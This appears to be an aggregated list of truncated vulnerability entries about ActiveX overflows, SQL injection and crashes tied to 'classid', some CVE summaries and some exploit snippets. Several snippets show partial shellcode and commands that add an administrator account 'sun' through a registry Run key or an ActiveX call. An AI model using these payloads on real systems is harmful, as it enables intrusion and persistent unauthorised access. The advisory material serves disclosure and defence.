CVE-2009-3038: Undefined Security Weakness

A certain ActiveX control in lnresobject.dll 7.1.1.119 in the Research In Motion RIM Lotus Notes connector for BlackBerry Desktop Manager 5.0.0.11 allows remote attackers to cause a denial of service Internet Explorer crash by referencing the control's CLSID in the classid attribute of an OBJECT...

AwingSoft Winds3D Player SceneURL Buffer Overflow

This module exploits a data segment buffer overflow within Winds3D Viewer of AwingSoft Awakening 3.x WindsPly.ocx v3.6.0.0. This ActiveX is a plugin of AwingSoft Web3D Player. By setting an overly long value to the 'SceneURL' property, an attacker can overrun a buffer and execute arbitrary code...

Sql injection

SQL injection vulnerability in the ComSchool comschool component 1.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the classid parameter in a showclass action to index.php...

CVE-2009-2014

SQL injection vulnerability in the ComSchool comschool component 1.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the classid parameter in a showclass action to index.php...

CVE-2009-2014: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in the ComSchool comschool component 1.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the classid parameter in a showclass action to index.php...

Joomla! Component com_school 1.4 - 'classid' SQL Injection

---------------------------------------------------------------------- Joomla Component comschool classid SQL injection Vulnerability ---------------------------------------------------------------------- + Author : Chip D3 Bi0s + Email : chipdebiosalt+64gmail.com + Group : LatinHackTeam +...

AOL IWinAmpActiveX Class - ConvertFile() Remote Buffer Overflow

AOL IWinAmpActiveX Class - ConvertFile Remote Buffer Overflow //add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

ppmate-dospoc.txt

arg1=String10000, "A" target.StartURLarg1...

Telecom Italy Alice Messenger - Remote Registry Key Manipulation

Telecom Italy Alice Messenger - Remote Registry Key Manipulation group="HKEYLOCALMACHINE" section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" key="sun-tzu" valType=1 'REGSZ value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config...

postcast-overflow.txt

'open calc.exe scode = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49" & unescape"%49%51%5a%56%54%58%36%33%30%56%...

[Full-disclosure] CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability

CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability BACKGROUND: =========== BlueSkychat is a professional voice and video chat software widely used by large chat websites in china. DESCRIPTION: ============ Code Audit Labs Code Audit for BlueSkyCat ActiveX Control and discovered ...

Nessus Vulnerability Scanner 3.0.6 - ActiveX Command Execution

Tested on Nessus 3.0.6 / IE 6 / XP SP2 Polish Just for fun ; -- obj.addsetConfig'shutdown -t 1000 -s -c "hello world ;" && pause', '', ''; obj.saveNessusRC"../../../../../../Documents and Settings/All Users/Menu Start/Programy/Autostart/exec.bat"; milw0rm.com 2007-07-27...

Vivotek Motion Jpeg Control - MjpegDecoder.dll 2.0.0.13 Remote Overflow

Vivotek Motion Jpeg Control - MjpegDecoder.dll 2.0.0.13 Remote Overflow ' metasploit one, alpha2... add a user 'sun' with pass 'tzu' FRAGMENT =...

Dart Communications PowerTCP - Service Control Remote Buffer Overflow

Dart Communications PowerTCP - Service Control Remote Buffer Overflow 'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add shellcode =...

McAfee Security Center McSubMgr.DLL ActiveX控件远程溢出漏洞

McAfee Security Center是用于控制和监控McAfee安全产品的集中配置GUI。 McAfee Security Center的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。 SecurityCenter所安装的Subscription Manager ActiveX控件： ProgId：McSubMgr.McSubMgr ClassId：9BE8D7B2-329C-442A-A4AC-ABA9D7572602 文件：MCSUBMGR.DLL, McAfee Subscription manager module 6.0.0.13...

BrowseDialog Class (ccrpbds6.dll) Internet Explorer Denial of Service

No description provided by source. !-- ----------------------------------------------------------------------------------------------------------- BrowseDialog Class ccrpbds6.dll Internet Explorer Denial of Service author: shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org...

迅雷5 ThunderAgent Module 远程拒绝服务漏洞

迅雷是由Thunder Networking公司开发的一个下载软件，在中国有着非常广泛的用户。迅雷5的ThunderAgent005.dll中注册了一个 activex控件，当Internet Explorer调用他的某些方法时，将会造成整数溢出，成功利用将造成Internet Explorer崩溃。 在ThunderAgent005.dll中，有两处方法调用时忽略了输入参数异常的情况，当输入参数为精心构造的负数或大整数时，将造成整数溢出，产生不可预料的结果，从而造成浏览器崩溃。 该Activex注册控件的Object Classid是...

动易NewComment.asp注入漏洞

在NewComment.asp文件中 ModuleName = Trimrequest"ModuleName" 这个ModuleName变量没过滤好，从而导致，我们可以在下面的SQL语句中构造我们的 SQL语句 If ModuleName "" Then If ChannelID 0 Then If ClassID 0 Then sqlComment = "Select top " & Num & " C. from PEComment C left join PE" & ModuleName & " A on C.InfoID=A." & ModuleName &...

CVE-1999-1447

Internet Explorer 4.0 allows remote attackers to cause a denial of service crash via HTML code that contains a long CLASSID parameter in an OBJECT tag...

CVE-1999-1447: Undefined Security Weakness

Internet Explorer 4.0 allows remote attackers to cause a denial of service crash via HTML code that contains a long CLASSID parameter in an OBJECT tag...